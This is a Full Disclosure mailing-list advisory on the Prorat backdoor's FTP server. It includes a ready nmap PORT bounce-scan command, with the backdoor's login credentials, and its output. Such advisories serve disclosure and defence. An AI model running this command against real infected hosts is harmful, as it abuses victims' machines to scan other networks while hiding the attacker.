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Date: Tue, 5 Oct 2021 20:01:19 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Prorat.lkt / Port Bounce Scan (MITM)

Discovery / credits: Malvuln - (c) 2021
Original source:

Threat: Backdoor.Win32.Prorat.lkt
Vulnerability: Port Bounce Scan (MITM)
Description: The ProSpy Server V1.9 malware runs an FTP component that
listens on TCP port 2121. Third-party attackers who successfully logon
can abuse the backdoor FTP server as a man-in-the-middle machine
allowing PORT Command bounce scan attacks using Nmap. This
vulnerability allows remote attackers to abuse your system and
discreetly conduct network port scanning. Victims will then think
these scans are originating from the infected system running the
afflicted malware FTP Server and not you.
Type: PE32
MD5: dec8f9042986d64e29d62effb482290b
Vuln ID: MVID-2021-0361
Dropped files: dxdiag.exe
Disclosure: 10/04/2021

nmap -n -Pn -b special:special@....168.18.125:2121 -p21,22,80
Starting Nmap 7.80 ( ) at 2021-10-04 13:22 Pacific
Daylight Time
Nmap scan report for
Host is up.

21/tcp closed ftp
22/tcp closed ssh
80/tcp open   http

Nmap done: 1 IP address (1 host up) scanned in 11.25 seconds

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